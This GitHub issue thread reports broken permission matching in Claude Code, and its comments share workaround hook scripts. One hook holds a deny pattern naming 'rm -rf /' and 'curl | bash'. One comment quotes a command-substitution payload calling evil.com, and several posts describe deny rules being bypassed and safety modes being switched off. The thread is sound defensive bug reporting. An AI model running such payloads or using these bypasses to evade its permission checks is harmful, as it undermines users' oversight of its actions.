Permissions matching is fundamentally broken — 30+ open issues, no staff engagement, community building workarounds

Open 💬 26 comments Opened Mar 3, 2026 by kylesnowschwartz

Summary

The permission matching system doesn't work. It's been broken since mid-2025, there are 30+ open issues about it, and Anthropic staff have left one comment across all of them — a workaround suggestion in September 2025 that didn't fix anything.

The community is now writing custom PreToolUse hooks in Python to reimplement permission enforcement from scratch (#18846). That's where we are.

What's broken

I have 136 allow rules, 2 deny rules, and 31 ask rules in my settings.json. Carefully segmented by risk. I still get prompted constantly for commands that should match.

Wildcards don't match compound commands (#25441, #29616, #29529). Bash(git:*) doesn't match git add file && git commit -m "message". The * only works within a single simple command. Claude generates compound commands constantly, so the wildcards are useless in practice.

"Always Allow" saves dead rules (#6850, #11380). Click "Always Allow" on git commit -m "fix typo" and it saves that exact string — commit message and all. Never matches again. Over time settings.local.json fills up with hundreds of one-off rules while the actual wildcard patterns sit there unused.

User-level settings don't apply at project level (#5140, #18160). Rules in ~/.claude/settings.json show up in /permissions but don't match anything. Same rules in project-level settings.local.json reportedly work fine.

Quote-tracking bypasses the allow list entirely (#30345). Commands with quotes in # comments trigger a safety warning that ignores all allow rules. Filed on v2.1.63, which is current.

Deny rules have the same bugs (#25441 comments, #18613). Multiline commands bypass deny rules too. Flag reordering can also get around them. So the permission system isn't just annoying — it's not enforcing the safety constraints users configured.

Colon vs space syntax is contradictory (#30113). Bash(git:*) and Bash(git *) behave differently. The docs don't agree on which is correct. "Always Allow" generates one syntax, users configure the other.

The security problem

Users who care about permissions have three options right now:

  1. Click through every prompt without reading. Defeats the purpose.
  2. Switch to bypassPermissions. Disables everything including deny rules.
  3. Build custom hooks to reimplement matching.

Option 3 is what people are actually doing. Community-built Python scripts with no security review, no tests against adversarial inputs, no correctness guarantees. The first-party permission system exists so users don't have to do this.

Staff engagement

| Issue | Filed | Problem | Staff response |
|-------|-------|---------|----------------|
| #5140 | Aug 2025 | User settings not applied at project level | None |
| #6850 | Aug 2025 | Allow list not working, dead rules accumulating | One workaround (didn't fix it) |
| #11380 | Nov 2025 | Prompts despite "Always Allow" | None (oncall label) |
| #18160 | Jan 2026 | Allow permissions ignored | None |
| #18846 | Jan 2026 | Permissions not enforced at all | None |
| #25441 | Feb 2026 | Wildcards don't match multiline | None |
| #29187 | Feb 2026 | "Always Allow" suggests wrong patterns | None (labeled regression) |
| #29616 | Feb 2026 | Wildcard patterns don't match | None |
| #30113 | Mar 2026 | Contradictory documentation | None |
| #30345 | Mar 2026 | Quote-tracking bypasses allow list | None |

No milestones. No Anthropic-authored PRs. No roadmap. No tracking issue.

What we need

  1. A staff response. Even just "we know, it's on the roadmap for Q3" would change the dynamic. 30+ issues spanning 7 months with silence is not a good look for a security-relevant subsystem.
  1. Compound command matching. Bash(git:*) should match git add && git commit. Single-command-only matching doesn't reflect how Claude actually generates bash.
  1. Smarter "Always Allow." Approving git commit -m "fix typo" should save Bash(git commit:*), not the verbatim string.
  1. Scope enforcement that works. User-level rules should match everywhere they show up.
  1. Deny rules that hold. No variation of a denied command — multiline, reordered flags, embedded in a chain — should execute without prompting.
  1. One clear document covering syntax, matching semantics, scope hierarchy, and known limitations.
  1. A tracking issue so the community can follow progress instead of filing duplicates.

Environment

  • Claude Code v2.1.63
  • macOS Darwin 24.6.0
  • 136 allow, 2 deny, 31 ask rules in ~/.claude/settings.json
  • defaultMode: "acceptEdits"
  • Running a PermissionRequest hook as a workaround

Related issues

#5140, #6850, #11380, #18160, #18613, #18846, #25441, #27688, #29187, #29529, #29616, #30113, #30345

View original on GitHub ↗

26 Comments

github-actions[bot] · 4 months ago

Found 3 possible duplicate issues:

  1. https://github.com/anthropics/claude-code/issues/25441
  2. https://github.com/anthropics/claude-code/issues/29616
  3. https://github.com/anthropics/claude-code/issues/11380

This issue will be automatically closed as a duplicate in 3 days.

  • If your issue is a duplicate, please close it and 👍 the existing issue instead
  • To prevent auto-closure, add a comment or 👎 this comment

🤖 Generated with Claude Code

MorningLightMountain713 · 4 months ago

This is such a pervasive problem, and costs a lot of time. I don't understand how this is even an issue - it seems like it should be trivial to fix?

Edit: I also find that if Claude starts inlining env vars, it affects the permissions

michmerr · 4 months ago

I got here after finding the feature request in #9408...which didn't get any response, and eventually closed and locked automatically. This seems like an improvement that would improve QoL for a large percentage of users.

merajnouredini · 4 months ago

This issue is very annoying indeed, I've been constantly approving compound commands for simple things like git add & git commit or even cd && ls etc.

chris-peterson · 4 months ago

landed here researching permission breakdown yesterday. seems very much related; if the pattern matching fails, no user confirmation required.

dekdevy · 4 months ago

stopped using claude because of this.

flashtea · 4 months ago

i created #32808 / which is basically the same theme.

It is blocking a company wide rollout as it is not usable like this.
The allowlist is not enough as claude always finds some commands that do not fit onto the allowlist.
Interestingly Cursor does not have that issue. So either cursor is running in an unsafe mode, or they figured out a better solution. (i know it is a blanace between usability and safety)

sldx · 4 months ago

The first time I ran into this problem I was thinking it's so obviously annoying that _surely_ it's gonna get fixed in a week.
Almost one year later, I sit here hitting always allow on thousands of prompts that just never stop. I'm not sure how people at Anthropic use it. Probably everybody is just dangerously skipping permission, which sure, it's one workaround, but definitely not a great one.

So yes, as OP said, please respond, let us know what the deal is, because the solution seems pretty obvious: just decompose the damn commands and match them against the existing permissions. What's wrong with that?

Anyway. Just so you guys know, I'm afraid I had to switch to Codex and Gemini due to this issue :(

I'm gonna continue paying for Anthropic Max for a couple of months because I love you guys and I kindof despise OpenAI. Hope you get it fixed soon 🙏. Godspeed.

yurukusa · 4 months ago

After 1,000+ hours of autonomous Claude Code operation with dozens of permission rules, I can confirm every pattern described here. The root cause is architectural: the permission system does string matching against the rendered command, but Claude generates commands that are semantically equivalent but syntactically different every time.

Bash(git:*) expects git commit -m "fix" but Claude generates git add file.txt && git commit -m "fix" — compound command, no match. Or cd src && git status — the cd prefix breaks the git pattern. The wildcard operates on the full command string, not on individual commands within a pipeline/chain.

The "Always Allow" problem is the same root cause in reverse: it saves the exact rendered string as a pattern, which is maximally specific and will never match again.

What actually works (not a defense of the status quo — this should be fixed):

PreToolUse hooks with programmatic matching. Instead of string patterns, you parse the command and make a real decision:

{
  "hooks": {
    "PreToolUse": [{
      "matcher": "Bash",
      "hooks": [{
        "type": "command",
        "command": "bash -c 'CMD=$(echo \"$CLAUDE_TOOL_INPUT\" | jq -r .command); if echo \"$CMD\" | grep -qE \"^(git |cd .* && git )\"; then exit 0; fi; exit 1'"
      }]
    }]
  }
}

Exit 0 = allow (skip prompt). Exit 1 = proceed to normal permission check. Exit 2 = hard block.

This handles compound commands, cd prefixes, and pipe chains because you're running actual shell logic, not glob matching. I use variants of this for git, file operations, and build commands.

The real ask: The first-party permission system should support the same expressive matching that hooks enable. Regex patterns, command decomposition for &&/;/| chains, and matching against individual commands within a compound expression — not the full rendered string. The fact that the community has rebuilt permission enforcement in hooks is a strong signal that the built-in system needs this level of sophistication.

chris-peterson · 4 months ago

@yurukusa - I ended up with a similar solution: git-guardian

I still think we need a response and action from @claude; but in the meantime, it's nice to see the community sharing our collective workarounds.

andersglindstrom · 3 months ago

I have found that the sandbox is a bit better but still has issues. I have resorted to running Claude Code in a Docker container and running Claude with the --dangerously-skip-permissions-because-the-effing-permissions-system-is-fundamentally-broken-and-anthropic-dont-seem-to-care option :-|

yurukusa · 3 months ago

Update: Since my comment above, I learned that PermissionRequest hooks are actually a better fit for this use case than PreToolUse.
PreToolUse runs before the built-in permission checks, but PermissionRequest runs after — so it can override the prompt that appears when a compound command doesn't match your wildcard rules.
One-command install:

npx cc-safe-setup@29 --install-example auto-approve-compound-git

This installs a PermissionRequest hook that parses compound commands (cd src && git status, git add file.txt && git commit -m fix) and auto-approves when every component is a safe git operation. Non-git components = no opinion = prompt as normal.
The execution order discovery (PreToolUse → built-in checks → PermissionRequest) came from #37836.

dario-l · 3 months ago

Project-level Write allow ignored when user-level defaultMode is plan

Version: Claude Code latest (2026-03-26, Windows 11)

Setup

User-level ~/.claude/settings.json:

{
  "permissions": {
    "allow": ["Bash(git:*)", "WebSearch", ...],
    "defaultMode": "plan"
  }
}

Project-level .claude/settings.json:

{
  "permissions": {
    "allow": ["Write", "Edit", "Read", "Bash", ...],
    "defaultMode": "acceptEdits"
  }
}

Behavior

Session is running in acceptEdits mode (manually switched from plan). Despite Write being explicitly in the project-level allow list, Claude Code still prompts for permission when writing new files (e.g. WORKFLOW.md, .claude/commands/plan/fix.md).

Expected

Write in project allow list should auto-approve writes to paths not in deny list, regardless of user-level defaultMode.

yurukusa · 3 months ago

Hooks are the escape hatch here. They run at the process level, so they bypass all the pattern-matching bugs you've catalogued.
Instead of fighting with Bash(git:*) wildcards, write a hook that implements the permission logic you actually want:

INPUT=$(cat)
COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command // empty' 2>/dev/null)
[ -z "$COMMAND" ] && exit 0
CLEAN=$(echo "$COMMAND" | sed 's/#.*$//' | tr '\n' ' ' | sed 's/  */ /g')
if echo "$CLEAN" | grep -qE '(rm\s+-rf\s+/|DROP\s+TABLE|curl.*\|\s*bash)'; then
    echo "BLOCKED by hook: matches deny pattern" >&2
    exit 2
fi
PARTS=$(echo "$CLEAN" | sed 's/\s*&&\s*/\n/g; s/\s*||\s*/\n/g; s/\s*;\s*/\n/g; s/\s*|\s*/\n/g')
ALL_SAFE=true
while IFS= read -r part; do
    part=$(echo "$part" | sed 's/^\s*//;s/\s*$//')
    [ -z "$part" ] && continue
    BASE=$(echo "$part" | awk '{print $1}')
    case "$BASE" in
        cd|pushd|popd|pwd) ;;
        cat|head|tail|less|wc|ls|find|stat|du|file|tree|which) ;;
        grep|rg|sed|awk|sort|uniq|cut|tr|tee|xargs|jq|yq)
            echo "$part" | grep -qE 'sed\s+.*-i' && { ALL_SAFE=false; break; } ;;
        echo|printf|true|false|test|export|set|env|date|sleep) ;;
        git) ;;
        npm|npx|node|yarn|pnpm) ;;
        python|python3|pip|pytest) ;;
        make|cargo|go|rustc|gcc) ;;
        docker)
            echo "$part" | grep -qE 'docker\s+(rm|rmi|system\s+prune)' && { ALL_SAFE=false; break; } ;;
        *)
            ALL_SAFE=false
            break
            ;;
    esac
done <<< "$PARTS"
if [ "$ALL_SAFE" = true ]; then
    jq -n '{hookSpecificOutput:{hookEventName:"PreToolUse",permissionDecision:"allow",permissionDecisionReason:"All commands match hook-based allow list"}}'
fi
exit 0
// ~/.claude/settings.json
{
  "hooks": {
    "PreToolUse": [{
      "matcher": "Bash",
      "hooks": [{ "type": "command", "command": "bash ~/.claude/hooks/smart-permissions.sh" }]
    }]
  }
}

| Problem you listed | Hook fix |
|---|---|
| Wildcards don't match compound commands | Hook splits on &&/\|/; and checks each part |
| "Always Allow" saves dead exact strings | Hook uses category matching, not exact strings |
| User-level settings ignored at project | Hooks in ~/.claude/settings.json always run |
| Quote-tracking bypasses allow list | Hook runs before quote-tracking heuristic |
| Deny rules bypassed by multiline | Hook normalizes to single line before checking |
| Colon vs space syntax confusion | No syntax to remember — just case statements |
You can collapse most of them into the case categories above. The hook approach is ~30 lines instead of 136 pattern strings, and it actually works with compound commands.
This is the same pattern the community in #18846 converged on — hooks as the reliable permission layer.

kylesnowschwartz · 3 months ago

https://github.com/canyonroad/agentsh Is the best implementation of policy execution gateway for AI agents that I've seen so far. Anthropic - invest!

awrobel-gd · 3 months ago

Agent SDK
Bash(npm *) doesnt allow npm install

davidstephenson-augenticuw · 3 months ago

Adding my experience — explicit allow rules ignored for both compound and simple commands

I spent a session carefully configuring my ~/.claude/settings.json with broad allow rules and still get prompted constantly. Environment: VS Code extension, macOS, multiple project directories.

My allow rules include:

"Bash(cp:)", "Bash(ls:)", "Bash(for:)", "Bash(cd:)", "Bash(mkdir:)", "Bash(git:)"
Commands that still prompted despite matching rules:

Simple cp command — should match Bash(cp:*)

cp /Users/.../output/Dish\ Order.json /Users/.../expected-output/Dish\ Order.json
Simple ls command — should match Bash(ls:*)

ls /Users/.../output/ 2>/dev/null && cat /Users/.../output/Dish\ Order.json ...
Simple mkdir — should match Bash(mkdir:*)

mkdir -p /Users/.../Test007-ReapplyWithOrphanedOverrides/{input,expected-output}
Simple cd && git — should match Bash(cd:*)

cd /Users/.../Project && git status -s
for loops — should match Bash(for:*)

for dir in /Users/.../tests/*/; do echo "$(basename "$dir")"; ls "$dir/input/" | wc -l; done
dotnet test piped to tee — should match Bash(dotnet test:*)

dotnet test ... --no-build -c Release -v n 2>&1 | tee tmp/e2e_test002_run.txt
What I tried:

Started with defaultMode: "default" + explicit allow rules → prompted constantly
Switched to defaultMode: "auto" → still prompted for commands matching explicit allow rules
Ran /compact in each session to reload settings → no improvement
Ended up on bypassPermissions as the only workable solution
Key observation: It's not just compound commands. Simple commands like cp src dest and mkdir -p path that clearly match Bash(cp:) and Bash(mkdir:) are still prompting. This suggests the issue goes beyond the compound command parsing problem — explicit allow rules may be ignored or overridden by the auto mode classifier.

Side effect: Each time I approve a command, it gets saved as a one-off exact-match allow rule, causing settings.json to accumulate dozens of stale entries that need periodic manual cleanup.

S-Luiten · 3 months ago

@davidstephenson-augenticuw Is /Users/... part of Claude Code's working directory? If not, the reason you have to approve is not because of the bash commands, but because you have not configured it to have access to the directories those commands operate on: https://code.claude.com/docs/en/permissions#working-directories

davidstephenson-augenticuw · 3 months ago

Adding my experience — explicit allow rules AND bypassPermissions mode both ignored in VS Code extension

I spent a session carefully configuring my ~/.claude/settings.json with broad allow rules and still get prompted constantly. Environment: VS Code extension, macOS Darwin 25.3.0, multiple project directories.

My allow rules include:

"Bash(cp:*)", "Bash(ls:*)", "Bash(for:*)", "Bash(cd:*)", "Bash(mkdir:*)", "Bash(git:*)", "Bash(cat:*)"

Commands that still prompted despite matching rules:

  1. Simple cp command — should match Bash(cp:*)

``
cp /Users/.../output/Dish\ Order.json /Users/.../expected-output/Dish\ Order.json
``

  1. Simple ls command — should match Bash(ls:*)

``
ls /Users/.../output/ 2>/dev/null && cat /Users/.../output/Dish\ Order.json ...
``

  1. Simple mkdir — should match Bash(mkdir:*)

``
mkdir -p /Users/.../Test007-ReapplyWithOrphanedOverrides/{input,expected-output}
``

  1. Simple cd && git — should match Bash(cd:*)

``
cd /Users/.../Project && git status -s
``

  1. for loops — should match Bash(for:*)

``
for dir in /Users/.../tests/*/; do echo "$(basename "$dir")"; ls "$dir/input/" | wc -l; done
``

  1. dotnet test piped to tee — should match Bash(dotnet test:*)

``
dotnet test ... --no-build -c Release -v n 2>&1 | tee tmp/e2e_test002_run.txt
``

  1. cat piped to jq — should match Bash(cat:*)

``
cat /Users/.../Dish\ Order.json | jq '.[] | .payload.DishOrder | {uid, recipe, state}'
``

What I tried — escalating through every permission mode:

  1. defaultMode: "default" + explicit allow rules → prompted constantly
  2. defaultMode: "auto" + explicit allow rules → still prompted
  3. defaultMode: "bypassPermissions"still prompted

After each change: ran /compact in every session AND restarted VS Code. No improvement at any level.

Key observations:

  • It's not just compound commands. Simple commands like cp src dest and mkdir -p path that clearly match Bash(cp:*) and Bash(mkdir:*) still prompt.
  • bypassPermissions mode has no effect — suggesting defaultMode in ~/.claude/settings.json is not being read/respected by the VS Code extension at all.
  • Each time I approve a command, it gets auto-saved as a one-off exact-match allow rule, causing settings.json to accumulate dozens of stale entries requiring periodic manual cleanup.

Conclusion: The defaultMode setting and explicit allow rules in ~/.claude/settings.json appear to have no effect in the VS Code extension. The permission system is fundamentally not working as documented.

LisaMarieMay · 3 months ago

Specific repro: narrow allow entry at project scope silently revokes global "*"

Adding to this with a specific flavor that keeps biting me:

Setup:

  • ~/.claude/settings.json has "permissions": {"allow": ["*"]} — intended as "approve everything"
  • ~/path/to/project/.claude/settings.local.json ends up with ONE entry: "permissions": {"allow": ["WebFetch(domain:docs.google.com)"]}

Expected: Effective allow list for this project is the union — still ["*", "WebFetch(domain:docs.google.com)"]. The added entry should be additive.

Actual: Project-level list fully replaces user-level. Effective allow list becomes ["WebFetch(domain:docs.google.com)"]. I now get prompted for every Edit, Write, and Bash
call in that directory, even though my user settings say "*".

Why this is a footgun:

  • Clicking "Don't ask again" on a single WebFetch prompt writes this entry. Seems like an additive, harmless action.
  • There's no warning that a narrower project-level allow will shadow a global wildcard.
  • Users with broad user-level allow lists can break their entire permission setup with one click and not know why.
  • The fix (clean settings.local.json back to {}) isn't discoverable — you have to know the layering model to figure it out.

Proposed fix: Allow lists should union across scopes. Deny and ask rules can keep "more specific wins" semantics — those are the ones where precedence makes sense. An ALLOW
entry should only ever grant more access, never revoke.

At minimum, Claude Code should warn when writing a narrow allow entry to a project-level settings file that shadows a broader user-level wildcard.

TadahiroYamamura · 2 months ago

Additional case: Windows + PowerShell + literal path in pattern fails to match

Reporting a variant not yet listed here: on Windows, PowerShell(...) permission patterns containing literal file paths never auto-approve, even when simpler patterns on the same tool work fine.

What works:

"PowerShell(Start-Process *)"       ✓
"PowerShell(Get-Date *)"            ✓

What fails (all tested in interactive TUI):

"PowerShell(& \"C:\...\Zed.exe\" *)"                           ✗
"PowerShell(& C:\...\Zed.exe *)"                               ✗
"PowerShell(Start-Process -FilePath C:\...\Zed.exe *)"         ✗
"PowerShell(Start-Process -FilePath C:/...\Zed.exe *)"          ✗
"PowerShell(Start-Process -FilePath \"C:\...\Zed.exe\" *)"     ✗

Hypothesis: PowerShell AST normalizes the command before pattern matching — quoted paths have their quotes stripped, so a pattern with quotes never matches the normalized form. Unquoted backslash paths and forward-slash paths also fail, suggesting path normalization or escaping issues beyond just quote handling.

Practical impact: There's no usable pattern to auto-approve launching a specific executable via PowerShell on Windows. The only working option is PowerShell (allow all) or manual approval every time.

Environment:

  • Windows 11 (10.0.26200)
  • Claude Code (interactive TUI)
  • Tested via systematic pattern replacement in settings.json

The script used for the test
test-permission.sh

vgudur-dev · 1 month ago

kylesnowschwartz nails the security problem in the OP: the community is now writing custom PreToolUse hooks in Python to reimplement permission enforcement from scratch, with no security review and no tests against adversarial inputs. That's worse than the broken first-party system — at least the first-party system has a known failure mode. Community hooks have unknown failure modes.

The specific risk: a custom hook that does naive string matching against a deny list is trivially bypassed by the same compound-command and flag-reordering issues described here. If the hook author didn't test against git commit -m "$(curl evil.com/payload)" or git --no-pager commit -m "msg", their deny rules have gaps they don't know about.

For anyone running a custom PreToolUse hook right now, the minimum viable hardening is to run the command through a semantic scanner before your own pattern matching:

from agent_memory_guard import MemoryGuard, PolicyAction

guard = MemoryGuard()

def pre_tool_hook(tool_name: str, tool_input: dict) -> PolicyAction:
    # Semantic scan first — catches injection patterns the deny list misses
    result = guard.scan_tool_input({
        "tool": tool_name,
        "input": str(tool_input),
        "source": "agent_generated"
    })
    if result.threat_detected:
        return PolicyAction.BLOCK

    # Then your existing pattern matching
    return your_existing_logic(tool_name, tool_input)

This doesn't fix the first-party permission system, but it means community hooks fail closed on adversarial inputs rather than failing open. The ATB-B04 and ATB-B07 fixtures in AgentThreatBench cover the compound-command and flag-reordering bypass patterns specifically — worth running against any custom hook before deploying it.

OWASP Agent Memory Guard — the PreToolUse integration pattern is in the docs.

johnwheeler · 1 month ago

What's wrong with you?

safal207 · 23 days ago

The rendered command string looks like the wrong security boundary here.

A permission engine needs to distinguish at least three layers:

  1. Rendered shell text — useful for display, but unstable.
  2. Normalized command intent — parsed commands, cwd transitions, inline environment assignments, pipelines/chains, redirects, targets, and declared effects.
  3. Execution binding — proof that the command actually executed is the same normalized intent that was evaluated.

For example, these may be syntactically different but policy-equivalent:

git status
cd repo && git status
env GIT_OPTIONAL_LOCKS=0 git status

while this compound command contains a materially different effect and should not inherit a broad "git:*" approval:

git status && rm -rf build/

I would model each proposal as a versioned "CommandIntent" with:

  • parser/canonicalization profile ID;
  • ordered command nodes and control operators;
  • normalized argv per node;
  • cwd and environment deltas;
  • resolved resource scope where knowable;
  • effect classes such as read, write, delete, network, and process-control;
  • "intent_digest" over the canonical structure.

Rules should evaluate the normalized nodes and effects, not the raw string. Deny rules should take precedence and apply to every node in a chain. “Always Allow” should save a rule over the normalized action class, not the literal rendered command.

Immediately before execution, Claude Code should parse the final command again and compare the resulting digest and profile with the approved intent.

If the command, scope, parser profile, or effects changed, execution should fail closed and require a new decision. That closes the TOCTOU gap between permission evaluation and shell execution.

A useful conformance suite would cover:

  • whitespace and quoting variants;
  • reordered equivalent flags;
  • "cd && command" prefixes;
  • inline environment variables;
  • "&&", ";", "||", pipes, subshells, and redirects;
  • a denied node hidden inside an otherwise allowed chain;
  • parser-profile mismatch as "NOT_COMPARABLE", distinct from a content mismatch;
  • zero side effects on every rejected case.

The invariant should be:

«Permission is granted to one canonical action intent, not to an arbitrary future string that happens to resemble it.»

This would preserve usability while making allow/deny behavior testable across syntax variations instead of relying on increasingly fragile glob patterns.

chris-peterson · 23 days ago

I continue to have to build my own enforcement layer

I really wish someone at @anthropics would acknowledge that there is a problem and/or tell us _something_ is in the works

RaphazZze · 7 days ago

Another instance of this pattern, now filed as #76149: in Auto Mode the content classifier blocks allowlisted MCP tool calls that retrieve the user's own data (e.g. their own Gmail) inside a self-authored, codified workflow. The permissions.allow entry does not suppress it, and citing the user's genuine in-chat approval in the delegated sub-agent task escalates it to an "Auto-Mode Bypass" denial (fabricated-justification pattern). PreToolUse permissionDecision: "allow" hooks don't override it either (per docs). Net effect matches this thread — legitimate power-user workflows get pushed out of Auto Mode entirely. Tightened noticeably around 2.1.20x.